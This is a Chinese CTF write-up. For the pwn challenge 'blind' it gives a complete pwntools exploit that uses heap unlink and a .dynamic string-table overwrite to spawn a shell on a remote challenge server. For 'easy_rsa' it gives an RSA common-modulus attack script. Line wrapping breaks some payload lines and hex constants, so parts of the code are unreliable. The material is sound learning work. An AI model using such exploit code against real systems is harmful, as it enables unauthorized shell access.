Pwn

blind

ret2dl-resolve3跟着学习资料过了一遍，巧了，又是个完全没听说过的

检查一下，NO RELRO，NO PIE，还算运气好

程序就四个功能，分析一下有啥漏洞可以利用

```
int edit()
{
  signed int v1; // [rsp+Ch] [rbp-4h]

  printf("index:");
  v1 = read_int("index:");
  if ( v1 > 9 || !names[v1] )
    return puts("invalid range");
  printf("name:");
  read_n(names[v1], 0x100LL);   //overflow
  return puts("done.");
}
```

具体的漏洞我目前就看到了一个溢出，如果看了学习资料的话还是有思路的，试一下就好，随便创建两个chunk，分析一下结构体，反正我现在感觉IDA里面看个半天，不如gdb里面heap一下，能分析一些基本的结构体了也算是个进步

```
struct chunk
{
    char value[0x80];
}
```

接下来我想拿到.dynamic写的权力，靠unlink就好了

主要是调试的时候不是很好打断点，第一次delete之后就blind 了

exp

```
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']

local = 0

if local:
    cn = process('./blind')
    bin = ELF('./blind')
    #libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    #libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')
```

```
else:
    cn = remote('118.89.111.179',12332)
    bin = ELF('./blind')
    #libc = ELF('')


def z(a=''):
    gdb.attach(cn,a)
    if a == '':
        raw_input()

#z('b *0x0000000000400A67\nc')
#z('b *0x400B68\nc')
#z('b *0x400B63\nc')
#z('b *0x400AF5\nc')
#z('b *0x400BE6\nc')
# function
def add(idx,content):
    cn.sendline('1')
    cn.recvuntil('index:')
    cn.sendline(str(idx))
    cn.recvuntil('name:')
    cn.sendline(content)
    cn.recvuntil('done.')

def delete(idx):
    cn.sendline('2')
    cn.recvuntil('index:')
    cn.sendline(str(idx))
    cn.recvuntil('warning,dangerous')

def edit(idx,content):
    #cn.recvuntil('>')
    cn.sendline('3')
    #cn.recvuntil('index:')
    cn.sendline(str(idx))
    #cn.recvuntil('name:')
    cn.sendline(content)
    #cn.recvuntil('done.')

# add 4 chunk
for i in range(3):
    add(i,str(i)*0x80)

payload = '/bin/sh\x00'
add(3,payload)

ptr_addr = 0x6012c0
payload = p64(0x90)+p64(0x80)+p64(ptr_addr-0x18)+p64(ptr_addr-
0x10)+'0'*0x60+p64(0x80)+p64(0x90)
edit(0,payload)
delete(1) # chunk0_addr changed to ptr-0x18
payload = 'a'*0x18
```

```
payload += p64(0x601098+0x08)+'/bin/sh\x00'+p64(0x6012e0)
edit(0,payload)
payload = p64(0x6012e0)
# change dynamic
edit(0,payload)
# change string table
payload = (0x42b-0x420)*'b'+'system\00'
edit(2,payload)
# get shell
cn.sendline('4')
cn.sendline('6296264')

cn.interactive()
```

最后即使拿到shell，ls都失败了，一点也不快乐

链接：https://blog.csdn.net/weixin_41718085/article/details/80652441

在交互式shell中，如果关闭stdoutr，如：exec 1>&- ，只要执行有stdout或stderr内容送往 monitor 的命令，如ls、date这类命令，均会报错：“ls: write error: Bad file descriptor”。其他如cd、mkdir、.....这类命令不受影响，要恢复过来，要输入exec 1>&2

Crypro

easy_rsa

共模攻击，脚本

```
from decimal import *
import sys
sys.setrecursionlimit(10000000)


def hcf(x, y):
    """该函数返回两个数的最大公约数"""

    # 获取最小值
    if x > y:
        smaller = y
    else:
        smaller = x

    for i in range(1, smaller + 1):
        if ((x % i == 0) and (y % i == 0)):
            hcf = i

    return hcf


def egcd(a, b):
    if a == 0:
        return (b, 0, 1)
    else:
```

```
        g, y, x = egcd(b % a, a)
        return (g, x - (b // a) * y, y)


def modinv(a, m):
    g, x, y = egcd(a, m)
    if g != 1:
        raise Exception('modular inverse does not exist')
    else:
        return x % m


e1 = 0x33240
e2 = 0x3e4f
key = hcf(e1, e2)
print(key)  # 3

s = egcd(e1//key, e2//key)
s1 = s[1]
s2 = s[2]
print(s)
c1 =
0x7c7f315a3ebbe305c1ad8bd2f73b1bb8e300912b6b8ba1b331ac2419d3da5a9a605fd62915c11f8921c4505
25d2efda7d48f1e503041498f4f0676760b43c770ff2968bd942c7ef95e401dd7facbd4e5404a0ed3ad96ae50
5f87c4e12439a2da636f047d84b1256c0e363f63373732cbaf24bda22d931d001dcca124f5a19f9e28608ebd9
0161e728b782eb67deeba4cc81b6df4e7ee29a156f51a0e5148618c6e81c31a91036c982debd1897e6f3c1e5e
248789c933a4bf30d0721a18ab8708d827858b77c1a020764550a7fe2ebd48b6848d9c4d211fd853b7a02a859
fa0c72160675d832c94e0e43355363a2166b3d41b8137100c18841e34ff52786867d
c2 =
0xf3a8b9b739196ba270c8896bd3806e9907fca2592d28385ef24afadc2a408b7942214dad5b9e14808ab988f
b15fbd93e725edcc0509ab0dd1656557019ae93c38031d2a7c84895ee3da1150eda04cd2815ee3debaa7c2651
b62639f785f6cabf83f93bf3cce7778ab369631ea6145438c3cd4d93d6f2759be3cc187651a33b3cc4c3b4776
04477143c32dfff62461fdfd9f8aa879257489bbf977417ce0fbe89e3f2464475624aafef57dd9ea60339793c
69b53ca71d745d626f45e6a7beb9fcbd9d1a259433d36139345b7bb4f392e78f1b5be0d2c56ad50767ee851fa
c670946356b3c05d0605bf243b89c7e683cc75030b71633632fb95c840752013 52d6
n =
0x9439682bf1b4ab48c43c524778c579cc844b60872275725c1dc893b5bcb358b9f136e4dab2a06318bb0c80e
202a14bc54ea334519bec023934e01e9378abf329893f3870979e9f2f2be8fff4df931216a77007a2509f49f6
97bf286285e97fac5dc6e4a164b5c2cc430887b18136437ba67777bda05aafdeaf918221c812b4c7d1665238f
84ab0fab7a77fcae92a0596e58343be7a8e6e75a5017c63a67eb11964970659cd6110e9ec6502288e9e443d86
229ef2364dfecb63e2d90993a75356854eb874797340eece1b19974e86bee07019610467d44ec595e04af02b5
74a97fa98bdb2e779871c804219cab715f4a80fef7f8fb52251d86077560b39c1c2a1
if s1 < 0:
    s1 = - s1
    c1 = modinv(c1, n)
if s2 < 0:
    s2 = - s2
    c2 = modinv(c2, n)
m = (pow(c1, s1, n)*pow(c2, s2, n)) % n
print(Decimal(m))
print(Decimal(pow(m, 1/3)))  //精度有问题，最后三位不对，用专业的计算工具算就可以了
```